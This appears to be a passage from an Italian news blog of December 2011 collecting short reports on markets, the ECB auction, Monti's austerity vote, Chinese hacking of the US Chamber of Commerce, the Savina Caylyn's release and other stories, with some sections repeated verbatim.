Come dire, per la prima volta un programma veramente multimediale con gli spettatori da casa protagonisti al 100%!
Borsa, Piazza Affari apre in rialzo
Ftse Mib +0,92%, Ftse All Share +0,85%
09:40 - Indici positivi a Piazza Affari in apertura di contrattazioni. Il Ftse Mib è partito con un guadagno dello 0,92% a 14.960 punti, mentre l'All Share ha fatto segnare un +0,85% a 15.665 punti. Positivi anche gli altri principali listini europei. A Parigi il Cac 40 guadagna lo 0,81%, a Londra l'indice principale registra un +0,50%. In rialzo anche Amsterdam (+0,75%) e Francoforte, che guadagna lo 0,80%.Francesca Piccinini in copertina su Playboy
Dal palcoscenico del palazzetto dello sport di Bergamo al mondo delle copertine patinate. Il salto è notevole anche quando a a compierlo è Francesca Piccinini, una delle atlete più amate dello sport bergamasco, a cui è dedicata la copertina di Playboy Italia edizione di dicembre, arrivata nelle edicole.
L’avvenente pallavolista della Foppapedretti ha ceduto alla tentazione della copertina di una delle riviste più prestigiose e discusse del mondo, dove il nudo talvolta è stata trasformato in arte fotografica.
Gli scatti della Piccinini, stando alle anticipazioni, sono piuttosto casti. Nulla a che vedere con la pornografia, per intenderci, e spesso giocati sul bianco e nero. Francesca Piccinini non è nuova al set fotografico. Agli inizi degli anni duemila aveva fatto scalpore un suo calendario in cui appariva come mamma l’aveva fatta.
MotoGp/ Valentino Rossi: Sogno il decimo Mondiale
Si chiude l'annus horribilis del 'dottore'
Si chiude l'annus horribilis di Valentino Rossi. Il pilota della Ducati
ha concluso la stagione della MotoGp al settimo posto della classifica
piloti a quota 139 punti, salendo una sola volta sul podio, per giunta
sul gradino più basso (sul circuito francese di Le Mans). Vale guarda
comunque al futuro con ottimismo: "Quest'anno è stato un po' difficile,
non ci siamo divertiti tanto neanche noi - ha dichiarato nel corso di
una chat con i fan organizzata dalla Dainese -, spero di tornare presto
competitivo. Per l'anno prossimo abbiamo tante cose da provare, abbiamo
lavorato tanto e avremo una Ducati decisamente diversa da quella di
questa stagione. Speriamo bene, speriamo di andare più forte. Il mio
sogno? Vincere il decimo mondiale", ha ammesso campione di Tavullia.
La MotoGp 2012 sarà una stagione 'al risparmio'. La crisi economica si è
abbattuta pure sul Motomondiale, costringendo gli organizzatori a
introdurre alcune novità regolamentari per rimpolpare una griglia di
partenza ridotta all'osso a causa degli alti costi: il ritiro della
Suzuki, la Honda con una moto ufficiale in meno. Ecco apparire allora le
Crt, acronimo di "Claiming Rule Team", vale a dire team privati che
scenderanno in pista con ciclistiche prototipo. "Ci piacerebbe
continuare a correre con le Motogp di adesso - ha affermato Rossi -, ma
bisognerà correre con moto meno performanti e meno costose, magari però
più divertenti da guidare, ci potrebbero essere più lotte. L'auspicio è
che la MotoGp torni a farci vedere delle gare come quelle di qualche
anno fa".
Un pensiero ovviamente va al collega e amico Marco
Simoncelli, scomparso pochi mesi a fa a seguito di un terribile
incidente sul circuito di Sepang. "Continuerò a usare il casco dedicato
al Sic per i test invernali, fino ad aprile. Poi penso che tornerò al
mio casco per le gare, ma terrò qualcosa per ricordarlo - ha assicurato
Vale -, metterò il 58 da qualche parte". E a chi gli chiede informazioni
e progetti per il suo futuro prossimo, lui risponde senza esitazione:
"Mi vedo ancora un po' con la tuta in giro, in macchina e in moto - ha
concluso 'il Dottore' -. Un futuro in Superbike? Non lo so, vedremo tra
qualche anno. Non nascondo che anche i rally mi piacciono molto".
Libia/ Attentatore Lockerbie: Sono un uomo innocente
Al-Megrahi: Sono sul punto di morire, lasciatemi in pace
Londra, 22 dic. (TMNews) - "Sono un uomo innocente". Lo ribadisce il
libico Abdelbaset Ali al-Megrahi, l'unico condannato per l'attentato ad
un aereo passeggeri della Pan Am in volo sulla Scozia che provocò la
morte di 270 persone nel 1988, in un'intervista a diversi media
britannici. "Sono sul punto di morire e chiedo ora che mi lascino in
pace con la mia famiglia", ha aggiunto.
"Non rilascerò più
un'intervista e nessuna telecamera sarà autorizzata ad entrare nella mia
casa", ha sottolineato Megrahi precisando di aver collaborato con il
giornalista John Ashton a scrivere un libro che contiene prove
essenziali della sua innocenza e che "mi discolperà".
Megrahi,
un agente libico, è stato condannato all'ergastolo da un tribunale
britannico per l'attentato di Lockerbie. Nel 2009, colpito da un cancro
in fase terminale, la Scozia ha deciso di lasciarlo tornare in Libia,
dove attualmente vive in uno stato semicomatoso.
Ieri, in
occasione del 23mi anniversario dell'attentato, gli Stati Uniti hanno
chiesto alle nuove autorità libiche di avere accesso al dossier.
A fine settembre, il ministro della Giustizia libico ad interim,
Mohammed al-Alagui, ha riferito che il Consiglio nazionale di
transizione era pronto a cooperare con la Scozia per permettere
"l'interrogatorio di altre persone oltre a Megrahi".
Oltre mille morti nelle Filippine per tempesta tropicale
Centinaia i dispersi. Maggior numero di vittime nell'isola meridionale di Mindanao. Protezione civile: bilancio destinato a salire
Manila, 21 dic. (TMNews) - La tempesta tropicale Washi, che ha devastato
il Sud delle Filippine, ha mietuto oltre 1.000 vittime, mentre i
dispersi sono centinaia. Il bilancio ufficiale è stato diffuso
dall'Organismo nazionale per la prevenzione delle catastrofi. "Temo che
il bilancio salga ancora, perché ci sono numerosi dispersi", ha
dichiarato Benito Ramos, direttore della Protezione civile nelle
Filippine.
Il maggior numero di vittime è stato registrato nelle
città portuali di Cagayan de Oro e Iligan, nell'isola meridionale di
Mindanao: tante delle vittime abitavano nelle baraccopoli e sono state
sorprese nel sonno. Interi villaggi sono stati spazzati via dalle
inondazioni, strade e ponti sono stati distrutti e circa 47.000 persone
sono rimaste senza casa, senza abiti nè cibo. Le Filippine sono
investite ogni anno da circa 20 tempeste tropicali o tifoni, ma la
maggior parte tocca il Nord del paese. Per questo, hanno sottolineato le
autorità, gli abitanti di Mindanao non erano preparati all'arrivo di
Washi.
Hacker cinesi di nuovo contro gli Usa
Equivalente Usa della Confindustria accusa: Pechino ci spia
La Chamber of Commerce,
equivalente statunitense della Confindustria italiana, è stata
attaccata da hacker cinesi a caccia di informazioni sulle grandi aziende
americane e di segreti commerciali. L'ennesimo episodio di pirateria
informatica del quale gli Usa accusano la Cina è stato rivelato al Wall
Street Journal fonti della stessa Chamber of Commerce, secondo le quali
l'attacco era un'operazione complessa che veniva da almeno 300 diversi
indirizzi Internet ed è stato respinto nel maggio del 2010. Forse gli
hacker avevano avuto accesso alla rete per un anno prima di essere
scoperti.
Secondo le fonti, il gruppo accusato degli attacchi è sospettato dal governo Usa di avere legami con il governo cinese. L'Fbi non ha commentato, mentre un portavoce dell'ambasciata cinese a Washington ha detto che i cyber-attacchi sono vietati dalla legge in Cina e che anzi è Pechino stessa a esserne vittima. Le accuse americane sono "senza prove e irresponsabili", ha detto.
Secondo funzionari della Chamber of Commerce, che principalmente svolge attività di lobbying a favore delle aziende che ne fanno parte, gli hacker si concentravano su quattro persone che si occupavano di questioni relative all'Asia. In mano ai pirati informatici sono finiti soprattutto documenti sulla politica commerciale, appunti e rapporti di viaggio.
"Si tratta chiaramente di persone molto sofisticate, che sapevano esattamente chi siamo, e che hanno preso di mira individui specifici", ha dett il direttore generale David Chavern.
Il mese scorso il controspionaggio americano ha accusato la Cina in un rapporto di essere "la più attiva e persistente al mondo nel commettere spionaggio economico".
A corroborare l'accusa ci sono altri fatti curiosi: per esempio la stampante di un dirigente della Chamber ha cominciato da sola a stampare pagine in cinese, e un termostato elettronico in una foresteria dell'organizzazione a Washington era in comunicazione con un indirizzo internet in Cina.
"Questa è la nuova normalità. Mi aspetto che continui per il futuro prevedibile. Mi aspetto di essere sorpreso ancora", ha commentato Chavern.
Secondo le fonti, il gruppo accusato degli attacchi è sospettato dal governo Usa di avere legami con il governo cinese. L'Fbi non ha commentato, mentre un portavoce dell'ambasciata cinese a Washington ha detto che i cyber-attacchi sono vietati dalla legge in Cina e che anzi è Pechino stessa a esserne vittima. Le accuse americane sono "senza prove e irresponsabili", ha detto.
Secondo funzionari della Chamber of Commerce, che principalmente svolge attività di lobbying a favore delle aziende che ne fanno parte, gli hacker si concentravano su quattro persone che si occupavano di questioni relative all'Asia. In mano ai pirati informatici sono finiti soprattutto documenti sulla politica commerciale, appunti e rapporti di viaggio.
"Si tratta chiaramente di persone molto sofisticate, che sapevano esattamente chi siamo, e che hanno preso di mira individui specifici", ha dett il direttore generale David Chavern.
Il mese scorso il controspionaggio americano ha accusato la Cina in un rapporto di essere "la più attiva e persistente al mondo nel commettere spionaggio economico".
A corroborare l'accusa ci sono altri fatti curiosi: per esempio la stampante di un dirigente della Chamber ha cominciato da sola a stampare pagine in cinese, e un termostato elettronico in una foresteria dell'organizzazione a Washington era in comunicazione con un indirizzo internet in Cina.
"Questa è la nuova normalità. Mi aspetto che continui per il futuro prevedibile. Mi aspetto di essere sorpreso ancora", ha commentato Chavern.
Bank of America paga 335 milioni per causa su discriminazione
Il più grande patteggiamento per discriminazione sui mutui.
Bank of America ha
accettato di pagare 335 milioni di dollari per risolvere una causa
intentata contro la divisione Countrywide Financial, accusata di aver
fatto pagare tassi più alti sui mutui ad afroamericani e ispanici. E' il
più grosso pagamento extragiudiziale per discriminazione nel settore
mutui mai avvenuto.
La cifra sarà versata a oltre 200.000 mutuatari che si sono visti affibbiare tassi più alti della media su prestiti sia prime che subprime, oppure che avrebbero potuto avere un mutuo prime ma sono stati indirizzati verso un più costoso subprime, tra il 2004 e il 2008.
Bank of America aveva comprato Countrywide dopo lo scoppio della crisi dell'immobile in America, e rende noto in un comunicato che il patteggiamento riguarda le pratiche di Countrywide prima dell'acquisto e non ha nulla a che vedere con le attuali politiche sui mutui della banca.
La cifra sarà versata a oltre 200.000 mutuatari che si sono visti affibbiare tassi più alti della media su prestiti sia prime che subprime, oppure che avrebbero potuto avere un mutuo prime ma sono stati indirizzati verso un più costoso subprime, tra il 2004 e il 2008.
Bank of America aveva comprato Countrywide dopo lo scoppio della crisi dell'immobile in America, e rende noto in un comunicato che il patteggiamento riguarda le pratiche di Countrywide prima dell'acquisto e non ha nulla a che vedere con le attuali politiche sui mutui della banca.
mercoledì 21 dicembre 2011
Milano chiude in rosso dello 0,97%, Wall Street contrastata, spread a 480
Chiusura contrastata per Wall Street, con gli indici che hanno
comunque recuperato dai minimi di giornata: il Dow Jones ha terminato la
seduta a +0,03%, lo S&P a +0,2% ma il Nasdaq arretra dello 0,99%
dopo i deludenti risultati di Oracle, che hanno gettato un'ombra
sull'intero settore. Per quanto riguarda le valute, l'euro è sceso a
1,3045 dollari contro il dollaro, mentre il biglietto verde è salito a
78,0695 yen.
L'Europa chiude in rosso
Ancora una seduta in calo per Piazza Affari, in una giornata segnata dall'asta della Bce per rifinanziare le banche. Il Ftse Mib ha chiuso lasciando sul terreno lo 0,97% a 14.819 punti e il Ftse All Share lo 0,88% a 15.533 punti. A Francoforte il Dax cede lo 0,95%, a Parigi il Cac40 lo 0,82%, a Londra il Ftse100 lo 0,55%. In allargamento, rispetto alla chiusura di ieri, lo spread tra Btp e Bund decennali, che si è portato a quota 480 punti.
Focus Piazza Affari
Seduta in forte calo per FonSai: in attesa del cda di venerdì chiamato a discutere gli interventi per rafforzare il patrimonio, ha ceduto il 7,22% a 0,72 euro. Più contenute le flessioni per Premafin (-1,46% a 0,12 euro) e la Milano (-1,56% a 0,21 euro). Vendite sui finanziari, con l'unica eccezione di Intesa SanPaolo (+1,16%) e Mediolanum (+1,36%). In forte calo Unicredit (-4,39%), Mps (-3,92%), Ubi Banca (-3,52%), Bpm (-3,04%).
Debole l'avvio di Wall Street
In calo anche l'avvio della piazza americana con gli indici appena sotto la parità dopo i primi scambi. Pesano sull'avvio delle contrattazioni l'andamento degli indici in Europa e il dato sulle richieste di mutui negli Stati Uniti. Nel corso dell'ultima settimana l'indice della Mortgage Bankers Association, che misura l'andamento del settore, è sceso del 2,6% a quota 659,3 punti da 667 sette giorni fa.
Debiti sovrani
L'evento del giorno è l'asta a 36 mesi della Bce. Secondo i dati della stessa Eurotower sono stati prestati 489,19 miliardi di euro alle banche. L'ammontare comunicato ha oltrepassato le attese medie, che fino a ieri sera si aggiravano tra 250 e 300 miliardi di euro. La reazione del mercato dei titoli di stato tuttavia non è positiva come ci si aspettava. Dopo essere sceso a quota 446 in mattinata, il differenziale di rendimento tra i BTp a 10 anni e i bund tedeschi risale a 496, vicino alla soglia dei 500 punti e dalle sale operative segnalano acquisti da parte della Bce. Molto meglio i titoli di stato spagnoli (Bonos) con uno spread sul Bund limitato a 330 punti. Si allarga così il differenziale di rendimento Bpt-Bonos che sale a 160 punti certificando la crescente rischiosità del debito pubblico tricolore rispetto a quello spagnolo. (Leggi l'analisi: "Se l'Eba disarma il bazooka Bce").
Obiettivo: contrastare il credit crunch
L'obiettivo di questa asta Bce è combattere la rigidità del mercato interbancario innescata dalla crisi dei debiti sovrani. Il rischio da evitare è quello della stretta creditizia (il temibile credit crunch già visto con la crisi del 2008-2009). La speranza poi è con questi fondi a disposizione le banche possano tornare ad acquistare debiti sovrani dell'Eurozona facendo scendere spread e rendimenti (cosa che non sta avvenendo nella seduta odierna).
Borse asiatiche
La Borsa di Tokyo intanto ha chiuso la giornata con un deciso incremento sulla scia delle piazze occidentali. I positivi indicatori economici arrivati dalla Germania e dagli Stati Uniti e il successo dell'emissione in Spagna (con i rendimenti in deciso calo per i titoli a tre e sei mesi) hanno infatti spinto gli indici in Europa e Wall Street a mettere a segno un consistente rally. L'indice Nikkei, ben orientato fin dall'inizio della giornata, si è allineato a questo trend e ha guadagnato l'1,48% a 8.459,98 punti. Il più ampio indice Topix invece è salito dell'1,00%, per finire a 725,68 punti.
L'Europa chiude in rosso
Ancora una seduta in calo per Piazza Affari, in una giornata segnata dall'asta della Bce per rifinanziare le banche. Il Ftse Mib ha chiuso lasciando sul terreno lo 0,97% a 14.819 punti e il Ftse All Share lo 0,88% a 15.533 punti. A Francoforte il Dax cede lo 0,95%, a Parigi il Cac40 lo 0,82%, a Londra il Ftse100 lo 0,55%. In allargamento, rispetto alla chiusura di ieri, lo spread tra Btp e Bund decennali, che si è portato a quota 480 punti.
Focus Piazza Affari
Seduta in forte calo per FonSai: in attesa del cda di venerdì chiamato a discutere gli interventi per rafforzare il patrimonio, ha ceduto il 7,22% a 0,72 euro. Più contenute le flessioni per Premafin (-1,46% a 0,12 euro) e la Milano (-1,56% a 0,21 euro). Vendite sui finanziari, con l'unica eccezione di Intesa SanPaolo (+1,16%) e Mediolanum (+1,36%). In forte calo Unicredit (-4,39%), Mps (-3,92%), Ubi Banca (-3,52%), Bpm (-3,04%).
Debole l'avvio di Wall Street
In calo anche l'avvio della piazza americana con gli indici appena sotto la parità dopo i primi scambi. Pesano sull'avvio delle contrattazioni l'andamento degli indici in Europa e il dato sulle richieste di mutui negli Stati Uniti. Nel corso dell'ultima settimana l'indice della Mortgage Bankers Association, che misura l'andamento del settore, è sceso del 2,6% a quota 659,3 punti da 667 sette giorni fa.
Debiti sovrani
L'evento del giorno è l'asta a 36 mesi della Bce. Secondo i dati della stessa Eurotower sono stati prestati 489,19 miliardi di euro alle banche. L'ammontare comunicato ha oltrepassato le attese medie, che fino a ieri sera si aggiravano tra 250 e 300 miliardi di euro. La reazione del mercato dei titoli di stato tuttavia non è positiva come ci si aspettava. Dopo essere sceso a quota 446 in mattinata, il differenziale di rendimento tra i BTp a 10 anni e i bund tedeschi risale a 496, vicino alla soglia dei 500 punti e dalle sale operative segnalano acquisti da parte della Bce. Molto meglio i titoli di stato spagnoli (Bonos) con uno spread sul Bund limitato a 330 punti. Si allarga così il differenziale di rendimento Bpt-Bonos che sale a 160 punti certificando la crescente rischiosità del debito pubblico tricolore rispetto a quello spagnolo. (Leggi l'analisi: "Se l'Eba disarma il bazooka Bce").
Obiettivo: contrastare il credit crunch
L'obiettivo di questa asta Bce è combattere la rigidità del mercato interbancario innescata dalla crisi dei debiti sovrani. Il rischio da evitare è quello della stretta creditizia (il temibile credit crunch già visto con la crisi del 2008-2009). La speranza poi è con questi fondi a disposizione le banche possano tornare ad acquistare debiti sovrani dell'Eurozona facendo scendere spread e rendimenti (cosa che non sta avvenendo nella seduta odierna).
Borse asiatiche
La Borsa di Tokyo intanto ha chiuso la giornata con un deciso incremento sulla scia delle piazze occidentali. I positivi indicatori economici arrivati dalla Germania e dagli Stati Uniti e il successo dell'emissione in Spagna (con i rendimenti in deciso calo per i titoli a tre e sei mesi) hanno infatti spinto gli indici in Europa e Wall Street a mettere a segno un consistente rally. L'indice Nikkei, ben orientato fin dall'inizio della giornata, si è allineato a questo trend e ha guadagnato l'1,48% a 8.459,98 punti. Il più ampio indice Topix invece è salito dell'1,00%, per finire a 725,68 punti.
Manovra, alle 15 il voto di fiducia al Senato
Momenti di tensione quando il governo ha chiesto la fiducia. L'annuncio è stato accompagnato da fischi e proteste da parte della Lega. Il presidente Schifani ha annunciato provvedimenti
22:55 - Il presidente del Consiglio, Mario Monti, interverrà domani alle 12,30 in Senato sulla manovra economica. Lo ha stabilito la conferenza dei capigruppo di palazzo Madama. La discussione generale sulla fiducia inizierà in Aula alle 9, mentre alle 13 inizieranno le dichiarazioni di voto e intorno alle 14,10 la chiama nominale dei senatori per il voto di fiducia. L'esito del voto è atteso intorno alle 15.
Momenti
di tensione quando il governo ha chiesto la fiducia. L'annuncio è stato
accompagnato da fischi e proteste provenienti dai banchi della Lega. La
seduta è stata poi sospesa. Il presidente del Senato, Renato Schifani,
dopo aver espresso "amarezza e indignazione" per le contestazioni, ha
annunciato che domani "ai singoli soggetti che si sono resi protagonisti
verrà irrogata la censura".
Berlusconi avverte Monti: "Ci consulti prima Siamo noi gli arbitri di questa situazione"
22:45 - "Noi
come Pdl dobbiamo essere consultati, ci deve essere una consultazione
preventiva prima dei provvedimenti altrimenti non ci staremo". Lo ha
detto Silvio Berlusconi, nel corso del suo intervento alla cena dei
senatori del Pdl. Berlusconi non ha escluso la possibilità del voto "se
questo governo continua con questa imposizione fiscale. Siamo noi gli
arbitri di questa situazione".
In precedenza
Berlusconi era tornato sulla questione Udc. "Abbiamo a cuore un accordo
con l'Udc, che ha elettori moderati e cattolici e sta con noi nel Ppe
ed è in quella direzione che concentreremo i nostri sforzi per trovare
un accordo". Ha risposto così Silvio Berlusconi ai giornalisti che gli
hanno chiesto se sia possibile trovare un'intesa con Fini. Sulla Lega il
Cavaliere ha poi aggiunto: "La Lega sta esercitando un ruolo di
opposizione che le è molto congeniale e che può forse portare voti in
più".
"Siamo in campagna elettorale"
"Siamo già in campagna elettorale", ha detto Berlusconi dopo l'incontro con Monti a Palazzo Chigi durato circa due ore. "Andiamo avanti forti della grande forza elettorale che ha il Pdl. Siamo pronti a riorganizzare il partito a guida Alfano, preparandoci alle elezioni. Dobbiamo avere un approccio positivo".
"Riformare l'architettura istituzionale"
"Con il premier Mario Monti abbiamo parlato della necessità di riformare l'architettura dello Stato, perché non è possibile per un governo essere efficace se non ha poteri per poterlo essere".
"Cambiare la legge elettorale"
"E' una buona legge - spiega ancora il leader del Pdl - ma deve essere assolutamente cambiata per quanto riguarda il premio di maggioranza in Senato e poi c'e' grande voglia da parte degli elettori di poter scegliere gli eletti, magari per una quota percentuale''.
"Siamo in campagna elettorale"
"Siamo già in campagna elettorale", ha detto Berlusconi dopo l'incontro con Monti a Palazzo Chigi durato circa due ore. "Andiamo avanti forti della grande forza elettorale che ha il Pdl. Siamo pronti a riorganizzare il partito a guida Alfano, preparandoci alle elezioni. Dobbiamo avere un approccio positivo".
"Riformare l'architettura istituzionale"
"Con il premier Mario Monti abbiamo parlato della necessità di riformare l'architettura dello Stato, perché non è possibile per un governo essere efficace se non ha poteri per poterlo essere".
"Cambiare la legge elettorale"
"E' una buona legge - spiega ancora il leader del Pdl - ma deve essere assolutamente cambiata per quanto riguarda il premio di maggioranza in Senato e poi c'e' grande voglia da parte degli elettori di poter scegliere gli eletti, magari per una quota percentuale''.
Siria, Usa: "Fine regime a breve"
19:55 - "Per la fine del regime in
Siria è solo una questione di tempo". Lo ha detto il portavoce della
Casa Bianca, Jay Carney. Nel Paese, intanto, non cala la tensione.
Almeno 22 persone sono rimaste uccise negli scontri a Deraa. Nel
pomeriggio cinque ingegneri iraniani sono stati rapiti mentre erano
impegnati nella costruzione di una centrale elettrica, mentre il leader
dell'opposizione, Abdul-Aziz al-Khair, è stato arrestato a Damasco.
Somalia, liberata la nave italiana Savina Caylyn Sequestrata a febbraio, a bordo 5 connazionali
19:45 - E'
stata liberata alle 14 ora locale la "Savina Caylyn", la nave della
compagnia D'Amato che era stata sequestrata dai pirati somali l'8
febbraio di quest'anno vicino all'isola yemenita di Socotra. A bordo
dell'imbarcazione ci sono cinque italiani. Smentito il riscatto secondo
quanto riferito dal sito Somalia Report che citava fonti dei pirati,
secondo cui per la liberazione sarebbe stato pagato un riscatto di 11,5
milioni di dollari. Liberato anche tutto
l'equipaggio della nave, 22 uomini, di cui 5 italiani e 17 indiani.
L'operazione si è conclusa alle 4 ora locale ad Harar Dhere, a nord di
Mogadiscio, con il capo pirata Ilyaas, del clan Murar Shade, che a sua
volta fa parte della grande famiglia degli Hawiye. La presenza di 17
indiani tra l'equipaggio potrebbe avere reso difficoltose le trattative,
a causa dell'atteggiamento aggressivo dell'India nei confronti dei
pirati.
A bordo della petroliera si trovavano Giuseppe Lubrano Lavadera, comandante della nave, e Crescenzo Guardascione, terzo ufficiale di coperta, entrambi di Procida; Gianmaria Cesaro, allievo di coperta, di Sorrento; Antonio Verrecchia, direttore di macchina, di Gaeta, ed Eugenio Bon, primo ufficiale di coperta, di Trieste.
Savina Caylyn: "Nessun riscatto né blitz"Non è stato pagato alcun riscatto né ci sono stati blitz". E' quanto fa sapere la Compagnia Fratelli D'Amato Navigazione, in merito alla liberazione della petroliera Savina Caylin, dopo 10 mesi nelle mani dei pirati somali. "Siamo felici della bella notizia - hanno fatto sapere - ma saremo pienamente soddisfatti solo quando il mostro equipaggio sarà in acque sicure". Al momento, spiegano, la petroliera è "ancora in acque somale, bastano 30 miglia per entrare in acque internazionali".
Napolitano: "Soddisfazione per la liberazione della Caylyn""Ho appreso con grande soddisfazione la notizia della liberazione, dopo lunghi mesi di ansia, della nave italiana 'Savina Caylyn' e dei nostri marittimi su di essa imbarcati". Lo ha affermato il presidente della Repubblica, Giorgio Napolitano. "Sono stato partecipe della mobilitazione dei famigliari e delle autorità locali - ha proseguito - e mi congratulo vivamente con il ministero degli Esteri e con le Forze Armate, in particolare con la missione che esse svolgono nella cruciale area delle coste del Corno d'Africa".
Farnesina: "Nessun riscatto"Il governo italiano non ha pagato nessun riscatto per la liberazione della Savina Caylyn, la nave della compagnia D'Amato sequestrata a febbraio in Yemen. "Abbiamo evitato - scrive la Farnesina in una nota - qualsiasi azione di tipo militare" per garantire la sicurezza dei cinque italiani a bordo e non abbiamo "mai contemplato" l'ipotesi di una "trattativa con i pirati" o il "pagamento di riscatti" per la liberazione.
Monti: "Viva soddisfazione"
Il Presidente del Consiglio, Mario Monti, ha espresso la sua più viva soddisfazione per il rilascio dell'equipaggio e della nave italiana. Monti, si legge in una nota di Palazzo Chigi, si sente molto vicino ai 5 marinai italiani rilasciati, e alle loro famiglie, per la dura prova che hanno dovuto sopportare in questi lunghi mesi di attesa.
Padre di un ostaggio: "E' la fine di un incubo"
Non ha ancora la conferma ufficiale della liberazione della Savina Caylyn Adriano Bon, padre di Eugenio, primo ufficiale della nave, ma dalla sua casa di Trieste, afferma: "Sarebbe la fine di un incubo". Comunque, aggiunge il padre di Eugenio Bon, "mi rimane la preoccupazione finché non vedo tutto l'equipaggio arrivare a casa in forma e in salute".
La figlia del comandante: "Finalmente liberi"
"Finalmente liberi". Lo ha scritto sulla sua pagina Facebook Libera Lubrano Lavadera, la figlia del comandante procidano della Savina Caylyn, la nave della D'Amato liberata dopo essere stata sequestrata dai pirati somali l'8 febbraio scorso.
Sindaco di Procida: "E' un regalo di Natale"
"E' una notizia bellissima, il classico regalo di Natale". Così il sindaco di Procida, Vincenzo Capezzuto, commenta la notizia della liberazione della nave con a bordo tre procidani. "Aspettiamo la certezza dalla Farnesina - spiega - ma intanto la notizia si è sparsa per tutta l'isola, la comunità procidana gioisce ma è una splendida notizia per tutte le comunità marinare coinvolte". A Procida intanto sono pronti i festeggiamenti con i fuochi d'artificio, e le campane hanno suonato a festa per salutare la liberazione della Savina Caylyn.
A bordo della petroliera si trovavano Giuseppe Lubrano Lavadera, comandante della nave, e Crescenzo Guardascione, terzo ufficiale di coperta, entrambi di Procida; Gianmaria Cesaro, allievo di coperta, di Sorrento; Antonio Verrecchia, direttore di macchina, di Gaeta, ed Eugenio Bon, primo ufficiale di coperta, di Trieste.
Savina Caylyn: "Nessun riscatto né blitz"Non è stato pagato alcun riscatto né ci sono stati blitz". E' quanto fa sapere la Compagnia Fratelli D'Amato Navigazione, in merito alla liberazione della petroliera Savina Caylin, dopo 10 mesi nelle mani dei pirati somali. "Siamo felici della bella notizia - hanno fatto sapere - ma saremo pienamente soddisfatti solo quando il mostro equipaggio sarà in acque sicure". Al momento, spiegano, la petroliera è "ancora in acque somale, bastano 30 miglia per entrare in acque internazionali".
Napolitano: "Soddisfazione per la liberazione della Caylyn""Ho appreso con grande soddisfazione la notizia della liberazione, dopo lunghi mesi di ansia, della nave italiana 'Savina Caylyn' e dei nostri marittimi su di essa imbarcati". Lo ha affermato il presidente della Repubblica, Giorgio Napolitano. "Sono stato partecipe della mobilitazione dei famigliari e delle autorità locali - ha proseguito - e mi congratulo vivamente con il ministero degli Esteri e con le Forze Armate, in particolare con la missione che esse svolgono nella cruciale area delle coste del Corno d'Africa".
Farnesina: "Nessun riscatto"Il governo italiano non ha pagato nessun riscatto per la liberazione della Savina Caylyn, la nave della compagnia D'Amato sequestrata a febbraio in Yemen. "Abbiamo evitato - scrive la Farnesina in una nota - qualsiasi azione di tipo militare" per garantire la sicurezza dei cinque italiani a bordo e non abbiamo "mai contemplato" l'ipotesi di una "trattativa con i pirati" o il "pagamento di riscatti" per la liberazione.
Monti: "Viva soddisfazione"
Il Presidente del Consiglio, Mario Monti, ha espresso la sua più viva soddisfazione per il rilascio dell'equipaggio e della nave italiana. Monti, si legge in una nota di Palazzo Chigi, si sente molto vicino ai 5 marinai italiani rilasciati, e alle loro famiglie, per la dura prova che hanno dovuto sopportare in questi lunghi mesi di attesa.
Padre di un ostaggio: "E' la fine di un incubo"
Non ha ancora la conferma ufficiale della liberazione della Savina Caylyn Adriano Bon, padre di Eugenio, primo ufficiale della nave, ma dalla sua casa di Trieste, afferma: "Sarebbe la fine di un incubo". Comunque, aggiunge il padre di Eugenio Bon, "mi rimane la preoccupazione finché non vedo tutto l'equipaggio arrivare a casa in forma e in salute".
La figlia del comandante: "Finalmente liberi"
"Finalmente liberi". Lo ha scritto sulla sua pagina Facebook Libera Lubrano Lavadera, la figlia del comandante procidano della Savina Caylyn, la nave della D'Amato liberata dopo essere stata sequestrata dai pirati somali l'8 febbraio scorso.
Sindaco di Procida: "E' un regalo di Natale"
"E' una notizia bellissima, il classico regalo di Natale". Così il sindaco di Procida, Vincenzo Capezzuto, commenta la notizia della liberazione della nave con a bordo tre procidani. "Aspettiamo la certezza dalla Farnesina - spiega - ma intanto la notizia si è sparsa per tutta l'isola, la comunità procidana gioisce ma è una splendida notizia per tutte le comunità marinare coinvolte". A Procida intanto sono pronti i festeggiamenti con i fuochi d'artificio, e le campane hanno suonato a festa per salutare la liberazione della Savina Caylyn.
martedì 20 dicembre 2011
Ue in difficoltà: solo 150 miliardi per rafforzare il Fmi. Il "No" della Gran Bretagna
L'Europa ha ricavato solo 150 miliardi di euro, dei 200 previsti, da destinare al rafforzamento del Fondo Monetario Internazionale
- il 20% in più della precedente quota di partecipazione. I contributi
certi provengono dai paesi dell'area dell'euro, 13 in tutto se si
escludono Estonia, Irlanda, Portogallo e Grecia. E anche questa volta
la Gran Bretagna si è tirata fuori, poiché non intenzionata a
partecipare al salvataggio dei paesi indebitati dell'Eurozona.
A trasmettere la notizia è stato l'Ecofin, ieri sera in un
comunicato stampa. L'Italia è al terzo posto nella classifica dei
contribuenti: verserà un contributo di 23,48 miliardi, il 15,66% dei 150
miliardi totali. Prima la Germania con 41,5 miliardi (27,67% del
totale) e seconda la Francia con 31,4 (20,94% del totale). Al quarto
posto la Spagna con 14,86 miliardi, a seguire l'Olanda con 13,61 e il
Belgio con 9,99. L'Ecofin ha dichiarato, inoltre, che anche Polonia,
Repubblica Ceca, Danimarca e Svezia parteciperanno al rafforzamento del
Fmi, ma, per alcuni di questi paesi, sarà necessario il vaglio dei
Parlamenti nazionali.
Risultato comunque scarso. Si potrà
raggiungere la quota prevista di 200 miliardi solo se contribuiranno
altri paesi extraeuropei, cui l'Ecofin ha rivolto il seguente appello:
"L'Unione apprezzerebbe che i membri del G-20 oltre che altri paesi
membri del Fmi finanziariamente solidi sostenessero gli sforzi per
preservare la stabilità finanziaria mondiale, contribuendo ad aumentare
le risorse del Fondo".
Tuttavia, il rispetto degli impegni
prefissati è già un buon segnale. Ieri, infatti, scadeva il termine che
l'Ue si era data il 9 dicembre, per racimolare i fondi da destinare al
rafforzamento del Fmi. Da questo punto di vista l'Eurozona ha dimostrato
quella serietà indispensabile per riacquistare la fiducia dei mercati e
per trasmettere un messaggio positivo ai partner internazionali.
La decisione è stata presa dai ministri
finanziari riunitisi ieri pomeriggio in teleconferenza, dove si è
discusso anche della riforma al trattato del fondo si stabilità Esm.
Tra i ministri, un "no" deciso da parte del cancelliere George Osborne
al rafforzamento del contributo della Gran Bretagna al Fmi. "Il Regno
Unito" - afferma l'Ecofin - ha indicato che definirà il suo contributo
all'inizio dell'anno prossimo nel quadro del G-20". Contributo che
dovrebbe aggirarsi sui 30 miliardi di euro.
A suscitare l'opposizione della Gran
Bretagna non è il rafforzamento del Fondo Monetario Internazionale, ma
le finalità per cui è stato richiesto. E' evidente che la crisi del
